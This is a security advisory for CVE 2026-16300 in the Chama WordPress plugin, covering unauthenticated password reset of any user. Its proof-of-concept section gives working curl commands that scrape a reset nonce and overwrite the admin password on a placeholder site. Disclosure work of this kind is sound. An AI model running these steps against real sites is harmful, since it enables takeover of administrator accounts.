Chama < 1.0.13 – Unauthenticated Arbitrary User Password Reset | CVE 2026-16300

Description

The plugin does not properly validate a password reset request, allowing unauthenticated attackers to reset the password of arbitrary users, including administrators, which could lead to a full site takeover.

Proof of Concept

Prerequisites: Chama <= 1.0.12 active (the plugin auto-creates the /reset-password/ page on activation). No authentication required. The attacker only needs a target login name (e.g. "admin", trivially enumerable).

  # Step 1 - Obtain a valid nonce as an anonymous visitor. The /reset-password/ page
  # emits the nonce hidden field to everyone, with no valid reset key required:
  curl -s "https://victim.example/reset-password/" \
    | grep -oE 'name="chama_password_reset_nonce" value="[a-f0-9]+"'
  # -> name="chama_password_reset_nonce" value="<NONCE>"

  # Step 2 - Reset the target account's password (unauthenticated POST):
  curl -s "https://victim.example/" \
    --data-urlencode "chama_action=reset-password" \
    --data-urlencode "chama_password_reset_nonce=<NONCE>" \
    --data-urlencode "chama_user_login=admin" \
    --data-urlencode "chama_password=AttackerPass123456!" \
    --data-urlencode "chama_password_confirm=AttackerPass123456!"

  # Step 3 - Log in at https://victim.example/wp-login.php as "admin" with
  #          "AttackerPass123456!". Full admin access.

Expected result: the target user's stored password hash is changed to the attacker-chosen value and login as that user succeeds.